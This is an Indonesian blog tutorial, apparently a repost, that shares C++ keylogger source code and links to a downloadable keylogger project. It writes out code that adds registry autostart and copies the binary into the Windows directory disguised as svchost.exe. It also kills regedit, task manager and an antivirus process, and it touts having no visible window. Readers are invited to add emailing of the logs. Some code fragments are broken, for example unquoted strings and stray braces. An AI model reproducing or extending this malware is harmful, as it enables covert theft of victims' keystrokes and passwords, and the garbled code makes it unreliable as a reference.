Professional Documents
Culture Documents
Sebelumnya saya telah membahas fungsi dan tools analisa malware, sekarang saya akan berbagi source keylogger
saya untuk sekedar pembelajaran kita dan pemahaman kita tentang cara kerja sebuah malware yang termasuk
kategori keylogger supaya kita lebih terbuka dan memahami.
Keylogger atau Perekam Ketikan merupakan sebuah perangkat baik itu perangkat keras atau perangkat lunak
yang digunakan untuk memantau penekanan tombol papan ketik [keyboard]. Sebuah perekam ketikan atau
keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol papan ketik tersebut ke dalam sebuah
berkas catatan (log file). Beberapa perekam ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel
[e-mail] tertentu secara berkala.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat.
Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian
bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password. (wikipedia)
Beberapa kelebihan keylogger pada artikel ini?
1. Keylogger berbasis API,full written in C++,mudah dikembangkan.
2. Size keylogger yang relatif kecil, hanya 20-30 KB tanpa dikompresi.
3.
Mempunyai fitur self copy,auto startup,memonitoring proses yang aktif dan mengakhiri proses yang dapat
membahayakan keylogger
4.
Tidak mempunyai GUI, sehingga tidak tampak di Tab App pada task manager
5.
No dependency, tidak usah membawa beban seperti keylogger yang dibuat dengan VB classic
PROJECT KEYLOGGER
Mari kita mulai,pertama download Project Keylogger disini http://www.mediafire.com/?eb13zlbb80ic6r9
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger
sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx,
sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Lanjut ke tahap pembuatan fungsi lainnya untuk membuat keylogger yang lebih powerfull
AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key
pada registry:
[crayon lang="c++"]
//registry
char myname[500],tmpdir[500];
HKEY hKey;
DWORD dwFlags;
//========================
extern int __argc;
extern char **__argv;
ATOM MyRegisterClass(HINSTANCE hInstance);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL);
//EP section
//registry function
void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData)
{
int ret = 0;
HKEY phkResult = (HKEY)malloc(255);
ret = RegCreateKey(hKey, lpSubKey, &phkResult);
ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData));
RegCloseKey(hKey);
return;
}
[/crayon]
Contoh Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan
namasvchost kemudian membuat key untuk auto startup:
[crayon lang="c++"]
//create startup and copying files
char szCurrent[MAX_PATH];
char szPath[MAX_PATH];
GetModuleFileName(NULL,szCurrent, MAX_PATH-1);
GetWindowsDirectory(szPath, sizeof(szPath));
strcat(szPath, \\);
strcat(szPath,svchost.exe);
CopyFile(szCurrent, szPath, true);
KillProc(regedit.exe);
KillProc(taskman.exe);
KillProc(PCMAV.exe);
}
return EXIT_SUCCESS;
}
[/crayon]
Membuat thread baru untuk menjalankan fungsi monitoring dan killer proses:
[crayon lang="c++"]
CreateThread(NULL, 0, &terminator, NULL, 0, &id);
[/crayon]
Oia fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan
kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft
yang sudah dibekali optimasi pada kompilernya.
Mungkin dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? Owh itu tergantung
kreativitas anda. Banyak referensinya.. hehe
Akhir kata,selamat ber-coding dan berimajinasi =)
http://www.binushacker.net/source-code-keylogger-menggunakan-c.html